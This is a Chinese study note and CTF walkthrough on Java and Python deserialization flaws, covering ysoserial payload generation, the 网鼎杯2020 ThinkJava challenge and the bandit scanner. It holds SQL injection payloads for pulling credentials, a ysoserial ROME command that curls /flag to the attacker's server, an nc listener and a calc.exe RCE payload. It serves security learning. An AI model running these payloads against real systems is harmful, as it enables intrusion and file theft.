首先引用迪总的笔记,给出java反序列化的一些特征:
函数接口:
Java: Serializable Externalizable接口、fastjson、jackson、gson、ObjectInputStream.read、ObjectObjectInputStream.readUnshared、XMLDecoder.read、ObjectYaml.loadXStream.fromXML、ObjectMapper.readValue、JSON.parseObject等
PHP: serialize()、 unserialize()
Python:pickle
数据出现:
1、功能特性:
反序列化操作一般应用在导入模板文件、网络通信、数据传输、日志格式化存储、对象数据落磁盘、或DB存储等业务场景。因此审计过程中重点关注这些功能板块。
2、数据特性:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
3、出现具体:
http参数,cookie,sesion,存储方式可能是base64(rO0),压缩后的base64(H4s),MII等Servlets http,Sockets,Session管理器,包含的协议就包括:JMX,RMI,JMS,JND1等(\xac\Xed) xm lXstream,XmldEcoder等(http Body:Content-type: application/xml)json(jackson,fastjson)http请求中包含
下面是迪总使用工具玩靶场的过程:
#原生API-Ysoserial_URLDNS使用
Serializable 接口
Externalizable 接口
没组件生成DNS利用:
https://github.com/frohoff/ysoserial
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar URLDNS “http://9ar7xl.dnslog.cn” > urldns.ser
#三方组件-Ysoserial_支持库生成使用
https://github.com/WebGoat/WebGoat
有组件生成RCE:
1、生成:java -Dhibernate5 -cp hibernate-core-5.4.9.Final.jar;ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.GeneratePayload Hibernate1 “calc.exe” > x.bin
2、解码:python java.py
import base64
file = open(“x.bin”,”rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
#解密分析-SerializationDumper数据分析
https://github.com/NickstaDB/SerializationDumper
java -jar SerializationDumper-v1.13.jar -r urldns.ser >dns.txt
#CTF赛题-[网鼎杯2020朱雀组]ThinkJava
0x01 注入判断,获取管理员帐号密码:
根据提示附件进行javaweb代码审计,发现可能存在注入漏洞
另外有swagger开发接口,测试注入漏洞及访问接口进行调用测试
数据库名:myapp,列名name,pwd
注入测试:
POST /common/test/sqlDict
dbName=myapp?a=’ union select (select name from user)#
dbName=myapp?a=’ union select (select pwd from user)#
0x02 接口测试
/swagger-ui.html接口测试:
{
“password”:”admin@Rrrr_ctf_asde”,
“username”: “admin”
}
登录成功返回数据:
{ “data”: “Bearer rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”, “msg”: “登录成功”, “status”: 2, “timestamps”: 1617614357281 }
0x03 回显数据分析攻击思路
JAVAWEB特征可以作为序列化的标志参考:
一段数据以rO0AB开头,你基本可以确定这串就是JAVA序列化base64加密的数据。
或者如果以aced开头,那么他就是这一段java序列化的16进制。
分析数据:
先利用py2脚本base64解密数据
import base64
a = “rO0ABXNyABhjbi5hYmMuY29yZS5tb2RlbC5Vc2VyVm92RkMxewT0OgIAAkwAAmlkdAAQTGphdmEvbGFuZy9Mb25nO0wABG5hbWV0ABJMamF2YS9sYW5nL1N0cmluZzt4cHNyAA5qYXZhLmxhbmcuTG9uZzuL5JDMjyPfAgABSgAFdmFsdWV4cgAQamF2YS5sYW5nLk51bWJlcoaslR0LlOCLAgAAeHAAAAAAAAAAAXQABWFkbWlu”
b = base64.b64decode(a).encode(‘hex’)
print(b)
再利用SerializationDumper解析数据 java反序列化字节转字符串工具
java -jar SerializationDumper-v1.11.jar aced000xxxx
0x04 生成反序列化payload
解密后数据中包含帐号等信息,通过接口/common/user/current分析可知数据有接受,说明存在反序列化操作,思路:将恶意代码进行序列化后进行后续操作
利用ysoserial进行序列化生成
java -jar ysoserial-master-30099844c6-1.jar ROME “curl http://自己服务器的IP以及端口 / -d @/flag” > flag.bin
利用py2脚本进行反序列化数据的提取
import base64
file = open(“flag.bin”,”rb”)
now = file.read()
ba = base64.b64encode(now)
print(ba)
file.close()
0x05 触发反序列化,获取flag
自己的服务器执行:nc -lvvp 4444
数据包直接请求获取进行反序列数据加载操作
python反序列化
函数使用:
pickle.dump(obj, file) : 将对象序列化后保存到文件
pickle.load(file) : 读取文件, 将文件中的序列化内容反序列化为对象
pickle.dumps(obj) : 将对象序列化成字符串格式的字节流
pickle.loads(bytes_obj) : 将字符串格式的字节流反序列化为对象
魔术方法:
__reduce__() 反序列化时调用
__reduce_ex__() 反序列化时调用
__setstate__() 反序列化时调用
__getstate__() 序列化时调用
python语言常用的函数:pickle marshal PyYAML shelve PIL unzip
python反序列化比PHP反序列化危害更大,在PHP中,反序列化会触发魔术方法,调用内置对象,而python若存在漏洞,对象可以任意构建,所以更危险。
进行代码审计的时候,从源码找出序列化相关的函数,监控传入的数据、参数是否能被人控制。
#代码审计-自动化工具-bandit安装及使用
参考:https://bandit.readthedocs.io/
安装:pip install bandit
linux:
安装后会在当前Python目录下bin
使用:bandit -r 需要审计的源码目录
windows:
安装后会在当前Python目录下script
使用:bandit -r 需要审计的源码目录